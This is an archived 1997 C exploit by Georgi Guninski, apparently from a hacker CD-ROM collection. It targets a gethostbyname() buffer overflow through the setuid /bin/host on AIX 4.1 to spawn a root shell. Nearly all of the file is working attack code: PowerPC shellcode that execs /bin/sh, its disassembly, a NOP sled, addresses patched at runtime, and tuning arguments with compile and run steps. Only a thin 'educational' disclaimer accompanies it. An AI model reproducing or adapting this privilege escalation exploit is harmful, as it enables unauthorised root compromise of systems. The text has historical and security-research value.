home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / aixforpo.txt next >
Encoding:
Text File  |  2003-06-11  |  5.2 KB  |  185 lines

  1. /*
  2.  AIX 4.1 ,4.?, 3.? gethostbyname() and /bin/host exploit by Georgi
  3. Guninski
  4. ---------------------------------------------------------------------------
  5. Standard disclaimer
  6.  
  7.  This program is for educational purpose ONLY. Do not use it without permission.
  8.  The usual standard disclaimer applies, especially the fact that Georgi Guninski
  9.  is not liable for any damages caused by direct or indirect use of  the information or functionality provided by this program.
  10.  Georgi Guninski or any Internet provider bears NO responsibility for content
  11.  or misuse of this program or any derivatives thereof.
  12.  By using this program you accept the fact that any damage (dataloss, system
  13.  crash, system compromise, etc.) caused by the use of this program is not
  14.  Georgi Guninski's responsibility.
  15. --------------------------------------------------------------------------
  16. I wrote and tested this program on AIX 4.1 for PowerPC 601 and 604 and
  17. it started a root shell on 5 machines. It exploits a buffer overflow in
  18. gethostbyname()
  19. (see IBM advisory) and the fact that /bin/host is +s. Probably it may be
  20. modified to work with rlogin,ping,traceroute and others. Possibly this
  21. hole may
  22. be exploited remotely. IBM has released patch for the problem.
  23. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  24. If the program gives you 'Segmentation fault' or 'Illegal instruction',
  25. then
  26. try at least the following arguments:(string
  27. length,offset,kludge1,kludge2)
  28. 78 40 1 1
  29. 78 40 1 0
  30. 78 40 0 0
  31. 78 40 0 1
  32. If you get coredump, examine the registers.
  33. The higher 16 bits of TOC and IAR(CTR) should be the values,
  34. printed by the program (the address of execv() ). The last two arguments
  35. are
  36. added to correct some difference (because of carry?,cache? ???).
  37. Sorry for the lame coding.
  38.  
  39. Compile with: cc -g test.c
  40. try:
  41. ./a.out 78 40 1 1
  42. ./a.out 78 40 0 0
  43. ./a.out 78 40 0 1
  44. ./a.out 78 40 0 0
  45. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  46. Georgi Guninski
  47. Email:
  48.  stgun@hotmail.com
  49.  sgg@vmei.acad.bg
  50.  guninski@linux2.vmei.acad.bg
  51. Tel: +359 2 774104
  52.  
  53. Suggestions,comments and offers are welcome!
  54. 11-Jan-97
  55. */
  56. #include <stdio.h>
  57. #include <stdlib.h>
  58.  
  59. /*Used only for disassembling*/
  60. void sh2()
  61. {
  62. int junk[0x100];
  63. int s[2];
  64.  
  65. int toc;
  66. int ctr;
  67.  
  68. junk[0x100]=0x11;
  69.  
  70. toc=0xf0192c48;
  71. ctr=0xd0024c0c;
  72.  
  73. s[0]=0x2f62696e;
  74. s[1]=0x2f736800;
  75. execv(&s,0);
  76. }
  77. /*Used for testing*/
  78. void buggy(char *s)
  79. {
  80. char a[4];
  81. unsigned int junk[150];
  82. strcpy(a,s);
  83. puts("Over");
  84. if(junk[20])
  85.  puts("P");
  86. }
  87. /*The program*/
  88. main(int argc,char **argv)
  89. {
  90. unsigned int junk[300];
  91. /*The code*/
  92. unsigned int code[]={
  93. 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  94. 0x30632c48 , 0x90610440 , 0x3c60d002 , 0x30634c0c ,
  95. 0x90610444 , 0x3c602f62 , 0x3063696e , 0x90610438 ,
  96. 0x3c602f73 , 0x30636801 , 0x3863ffff , 0x9061043c ,
  97. 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  98. 0x7c0903a6 , 0x4e800420, 0x0
  99. };
  100. /* disassembly
  101. 7c0802a6        mfspr   r0,LR
  102. 9421fbb0        stu     SP,-1104(SP) --get some stack
  103. 90010458        st      r0,1112(SP)
  104. 3c60f019        cau     r3,r0,0xf019 --CTR changed at runtime
  105. 30632c48        ai      r3,r3,11336  --CTR changed at runtime should be
  106. kludged
  107. 90610440        st      r3,1088(SP)
  108. 3c60d002        cau     r3,r0,0xd002 --TOC changed at runtime
  109. 30634c0c        ai      r3,r3,19468  --TOC changed at runtime should be
  110. kludged
  111. 90610444        st      r3,1092(SP)
  112. 3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
  113. 3063696e        ai      r3,r3,26990
  114. 90610438        st      r3,1080(SP)
  115. 3c602f73        cau     r3,r0,0x2f73
  116. 30636801        ai      r3,r3,26625
  117. 3863ffff        addi    r3,r3,-1
  118. 9061043c        st      r3,1084(SP) --terminate /bin/sh with 0
  119. 30610438        ai      r3,SP,1080
  120. 7c842278        xor     r4,r4,r4    --argv=NULL
  121. 80410440        lwz     RTOC,1088(SP) --prepare to jump
  122. 80010444        lwz     r0,1092(SP) --jump
  123. 7c0903a6        mtspr   CTR,r0
  124. 4e800420        bctr              --jump
  125. */
  126.  
  127. unsigned int buf[600];
  128. unsigned int i,nop,mn;
  129. int max;
  130.  
  131. unsigned int toc;
  132. unsigned int eco;
  133. unsigned int *pt;
  134. int carry1=1;
  135. int carry2=1;
  136.  
  137. pt=(unsigned *) &execv;
  138. toc=*(pt+1);
  139. eco=*pt;
  140. if (argv[3]) carry1=atoi(argv[3]);
  141. if (argv[4]) carry2=atoi(argv[4]);
  142. max=atoi(argv[1]);
  143. if(max==0) max=78;
  144. mn=40;
  145. if(argv[2])
  146.         mn=atoi(argv[2]);
  147. *((unsigned short *)code +9)=(unsigned short) (toc & 0x0000ffff);
  148. *((unsigned short *)code +7)=carry1+(unsigned short) ((toc >> 16) &
  149. 0x0000ffff);
  150. /*              1+ because of CARRYFLAG? CACHE?*/
  151. *((unsigned short *)code +15)=(unsigned short) (eco & 0x0000ffff);
  152. *((unsigned short *)code +13)=carry2+(unsigned short) ((eco >> 16) &
  153. 0x0000ffff);
  154.  
  155. puts("Test AIX!");
  156. puts("Discovered and coded by G.G.");
  157. printf("TOC:%0x,CTR:%0x\n",toc,eco);
  158. junk[50]=1;
  159. for(nop=0;nop<mn;nop++)
  160.  buf[nop]=0x4ffffb82;/*nop*/
  161. strcpy((char*)&buf[nop],(char*)&code);
  162. i=nop+strlen(code)/4-1;
  163. while(i++<max)
  164. {
  165.  buf[i]=(unsigned) &buf[nop];
  166. }
  167. buf[i]=0;
  168.  
  169. for(i=0;i<nop;i++)
  170.  buf[i]=(unsigned)&buf[nop];
  171.  
  172. /**?????????????????***/
  173.  
  174. for(i=0;i<300;i++) junk[i]=(unsigned)&buf[nop];
  175.  
  176. puts("Start...");/*Here we go*/
  177. i=execl("/bin/host","host",(char*)&buf,0);
  178.  
  179. puts((char*)buf);
  180. printf("%p\n",&buf[nop]);
  181. if (!junk[50]) puts("s");
  182. printf("OK\n");
  183. }
  184.  
  185.